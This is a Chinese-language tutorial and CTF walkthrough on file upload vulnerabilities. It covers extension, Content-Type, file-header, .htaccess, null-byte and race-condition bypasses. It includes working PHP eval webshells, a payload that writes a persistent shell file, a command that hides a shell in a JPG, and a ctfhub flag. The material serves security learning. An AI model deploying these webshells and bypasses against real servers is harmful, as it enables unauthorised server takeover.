文件上传漏洞的概念
文件上传漏洞是Web应用程序中常见的安全漏洞之一,指的是由于服务器对用户上传的文件缺乏严格的验证和处理机制,导致攻击者能够上传恶意文件(如木马、病毒、脚本等)到服务器,并通过这些文件执行非法操作(如获取服务器权限、窃取数据、篡改网站内容等)的漏洞。
漏洞产生的核心原因
Web应用通常会提供文件上传功能(如头像上传、附件分享、图片发布等),若开发者在实现该功能时,未对以下内容进行严格限制,就可能引发漏洞:
1.文件类型验证不足:仅通过文件扩展名(如`.jpg` `.txt`)或前端JavaScript验证文件类型,未在服务器端对文件真实格式(如文件头、MIME类型)进行校验。
2.文件内容过滤缺失:未检测文件内容是否包含恶意代码(如PHP脚本、ASP命令等)。
3.上传路径控制不严:允许攻击者指定文件上传的路径,或上传目录具有可执行权限(如将文件上传至Web根目录,且服务器会解析该目录下的脚本文件)。
4.文件名处理不当:未对上传文件的文件名进行规范化处理(如未过滤特殊字符`../`,可能导致路径遍历;未避免文件名重复,可能被恶意文件覆盖合法文件)。
这里讲一下文件上传漏洞的几种类型
1.前端JS过滤绕过
前端 JS 过滤绕过,指的是攻击者通过技术手段,绕过 Web 应用中前端 JavaScript 实现的文件上传验证机制,将恶意文件成功上传至服务器的行为。这种绕过的核心逻辑是:前端验证仅在用户浏览器中执行,本质上可被攻击者篡改或绕过,无法作为安全防护的核心手段
常见形式:
- 检查文件扩展名:通过 JS 判断文件后缀是否在允许的列表内(如只允许
.jpg
.png
.gif
),若不符合则弹窗提示并阻止上传。 - 限制文件大小:通过 JS 检测文件大小是否超过预设值(如限制 5MB 以内),超过则禁止上传。
- 验证文件 MIME 类型:通过 JS 读取文件的
type
属性(如image/jpeg
),若不属于允许的类型则拦截。
方法一:在浏览器禁用javascript
我用的是谷歌
打开控制台,crtl+shift+p 搜索javascript,点击disable javascript,这样就行了
然后就是上传自己的一句话木马了
<?php
@eval($_POST['key']);
?>
这样就能上传然后通过蚁剑去查看
这样就行了,简单的题目基本就出结果了。
2.文件名过滤绕过
文件名过滤绕过是指攻击者通过篡改、伪装或构造特殊文件名,绕过服务器对上传文件的文件名验证机制,将恶意文件成功上传至服务器的攻击手段。这种绕过的核心逻辑是利用服务器对文件名的校验规则漏洞(如规则不全面、逻辑存在缺陷),使恶意文件名被误认为 “合法”,从而通过过滤。
服务器为防止恶意文件上传,通常会对文件名进行以下过滤:
- 扩展名限制:只允许特定扩展名(如
.jpg
.png
.pdf
),禁止危险扩展名(如.php
.asp
.exe
)。 - 特殊字符过滤:过滤可能导致路径遍历的字符(如
../
)、命令注入的字符(如;
&
)或其他特殊符号(如空格、引号)。 - 规范化校验:检查文件名是否符合命名规范(如长度限制、是否包含中文 / 特殊符号)。
典型绕过方法示例
-
扩展名混淆
- 大小写变换:若服务器仅过滤小写扩展名(如
.php
),攻击者可使用大写或混合大小写(如.PHP
.PhP
)绕过,部分服务器(如 Windows 系统)对文件名大小写不敏感,会将.PHP
解析为.php
执行。 - 多扩展名伪装:构造包含多个扩展名的文件名(如
shell.php.jpg
),若服务器仅校验最后一个扩展名(.jpg
),会认为文件合法;后续可通过文件包含漏洞让服务器解析前面的.php
扩展名。 - 特殊扩展名利用:部分服务器支持 “解析别名”(如
.php5
.phtml
也会被当作 PHP 文件解析),若过滤规则未包含这些别名,可使用shell.php5
绕过。
- 大小写变换:若服务器仅过滤小写扩展名(如
-
特殊字符 / 编码绕过
- 空格或点号:在扩展名后添加空格(如
shell.php
)或点号(如shell.php.
),部分服务器会自动截断空格或点号,最终保存为shell.php
。 - Unicode 编码:将危险字符进行 Unicode 编码(如
%2E
代表.
、%2F
代表/
),若服务器未对编码进行解码校验,可能误认为文件名合法(如shell%2Ephp
被解析为shell.php
)。 - 路径遍历字符变种:若服务器仅过滤
../
,攻击者可使用..\
(Windows 系统路径分隔符)、....//
(重复字符绕过)等变种,实现路径遍历(如../../shell.php
被改为..\..\shell.php
)。
- 空格或点号:在扩展名后添加空格(如
这里上传php文件,提示不允许上传PHP文件
这里就可以试试大小写绕过,还有其他的扩展名
我这用的是phtml后缀。
然后就是用蚁剑去连接就可以了。
3.Content-Type过滤绕过
Content-Type 过滤绕过,是指攻击者通过篡改 HTTP 请求中描述文件类型的Content-Type
头信息,绕过服务器基于该字段的文件上传验证机制,将恶意文件成功上传的攻击手段。这种绕过的核心逻辑是:Content-Type
是客户端可控的请求头,其值可被轻易篡改,若服务器仅依赖该字段判断文件合法性,则存在严重安全漏洞。
Content-Type
(内容类型)是 HTTP 请求头的一个字段,用于告知服务器客户端发送的数据类型。在文件上传场景中,该字段通常描述上传文件的 MIME 类型(多用途互联网邮件扩展类型),例如:
- 图片文件常见类型:
image/jpeg
(JPG)、image/png
(PNG)、image/gif
(GIF) - 文本文件常见类型:
text/plain
(纯文本)、application/pdf
(PDF) - 脚本文件常见类型:
application/x-httpd-php
(PHP)、application/x-msdownload
(EXE)
碰到要求上传指定照片的题目就可以去通过这种方法去做。
像这道题提示我们要上传图片,那么我们就按他的要求来完成
1.上传照片格式的木马,通过抓包来该文件后缀,从而达到木马被解析。
2.正常上传我们的木马文件,然后通过抓包来改Content-Type,从而然后台识别文件为照片从而解析木马。
抓包得到数据,然后修改
这样我们的文件就上传成功了,然后用蚁剑去连接就完成了。
4.文件头过滤绕过
文件头过滤绕过是指攻击者通过在恶意文件头部添加合法文件的特征标识(即 “文件头”),绕过服务器基于文件头信息的上传验证机制,将恶意文件成功上传至服务器的攻击手段。这种绕过的核心逻辑是利用服务器对 “文件头是否符合特定类型” 的单一校验规则,通过伪造文件头使恶意文件被误认为合法文件。
文件头(File Header)是文件内容的起始部分,用于标识文件的真实类型,通常由一组固定的字节序列组成。不同类型的文件有独特的文件头特征,例如:
- JPG 文件:以
FF D8 FF
开头 - PNG 文件:以
89 50 4E 47
(对应 ASCII 码‰PNG
)开头 - GIF 文件:以
47 49 46 38
(对应 ASCII 码GIF8
)开头 - PDF 文件:以
25 50 44 46
(对应 ASCII 码%PDF
)开头 - PHP 文件:无固定文件头,通常以
<?php
等脚本标签开始
文件头过滤比文件名、Content-Type
过滤更可靠,但仍可通过 “伪造文件头 + 保留恶意代码” 绕过。
以上传照片的题目为例:
在尝试改后缀发现还是不能上传时就可以试试这种绕过。
这次的代码
GIF89a
<?php
@eval($_POST['key']);
?>
我们需要伪造文件头
要求不同,文件头也不同
这样就能正常上传,然后用蚁剑连接。
还有一种方法是在图片的基础上加上木马
在记事本打开图片,在最后一行加上木马,然后上传。
不过这种方法很大概率不行,因为有的题目对<?有检测,只要识别到了这个,后面就不执行,这样就无法上传了。
首先找一个可以上传的照片,然后用命令
copy ‘你用的图片名’ /b + '你的木马文件' /a '你想要的文件或者照片'
例:copy bailan.jpg /b + 1ndex.php /a aaaaaaaaaaaaaaaaaaaaaaaa.jpg
用命令的话这样照片格式是不会有变化的,如果是直接加的haul可能会改变照片格式,反而不能上传。
5. .htaccess文件上传
.htaccess 文件是 Apache 服务器上的一个分布式配置文件,用于对网站目录及子目录进行配置管理。关于 “.htaccess 文件上传”,其核心概念是指将本地创建或修改的.htaccess 文件通过 FTP、SFTP、文件管理工具等方式上传到网站服务器的特定目录(通常是网站根目录或需要配置的子目录),以实现对该目录下网页访问规则、权限控制等功能的自定义配置。
这里的文件名一定是.htaccess,无后缀,包含的内容是
AddType application/x-httpd-php .jpg
这个指令会使 Apache 服务器将 JPG 图片文件当作 PHP 脚本执行
所以这让我们有了操作的可能
这里拿ctfhub的题目来举例
首先上传.htacess文件,
接着写我们的一句话木马,改为图片后缀,然后上传
复制相对路径,回车
用蚁剑连接,这样就完成了。
这道题的flag
ctfhub{b6482ad089abc32f031fd885}
不过有的题目也会过滤掉.htaccess文件的上传,这时我们可以抓包去改。
6.文件截断上传
文件截断上传(File Truncation Upload)是一种利用服务器对文件名称处理漏洞,将恶意文件伪装成合法文件类型上传,进而绕过文件上传过滤机制的攻击手段。其核心原理是通过特殊字符(如 ASCII 中的空字符\0
)强制截断文件名,使服务器错误识别文件类型,最终导致恶意脚本被执行。
这里以ctfhub的一道题来举例
一开始怎么上传文件都没反应
这里上传一个这样的文件
然后抓包
在请求头上更改
然后发送
看到成功了
然后访问我们上传的文件
用蚁剑连接,这样就完成了
7.条件竞争文件上传
条件竞争文件上传(Race Condition File Upload)是一种利用服务器处理文件上传过程中的时间差(竞态条件)执行恶意代码的攻击技术。其核心原理是通过精心设计的并发请求,在文件验证与实际使用的时间窗口内修改文件属性或内容,从而绕过安全检查。
$allow_ext = array("gif","png","jpg");
$filename = $_FILES['upfile']['name'];
move_uploaded_file($_FILES['upfile']['tmp_name'], "./up/".$filename);
$file = "./up/".$filename;
echo "文件上传成功: ".$file."\n<br />";
$ext =
array_pop(explode(".",$_FILES['upfile']['name']));
if (!in_array($ext,$allow_ext)){
unlink($file);
die("此文件类型不允许上传已删除");
}
本段代码首先将用户上传的文件保存在up目录下,然后又判断了上传的文件的后缀是否在 allow_ext中,如果不在通过unlink函数再去删除已经上传的文件。漏洞点在于文件在保存到服务器之前并没有进行合法性的检查,虽然保存后进行了文件的检查,但是通过竞争条件漏洞,通过上传有写文件功能的木马,在删除木马之前访问已经上传的木马,可以写入新的木马。
<?php
fputs(fopen("cmd.php","w"),'<?php @eval($_POST['key']);?>')?>
这里就不能用一句话木马了
这类型的题目在你上传PHP文件后马上就会把它删除,而条件竞争就是不断重复的上传,然后不断请求上传文件后的地址,这样总有文件上传成功后没有及时被删除而还能解析木马从而获取flag
这里需要用抓包bp不断地爆破来完成。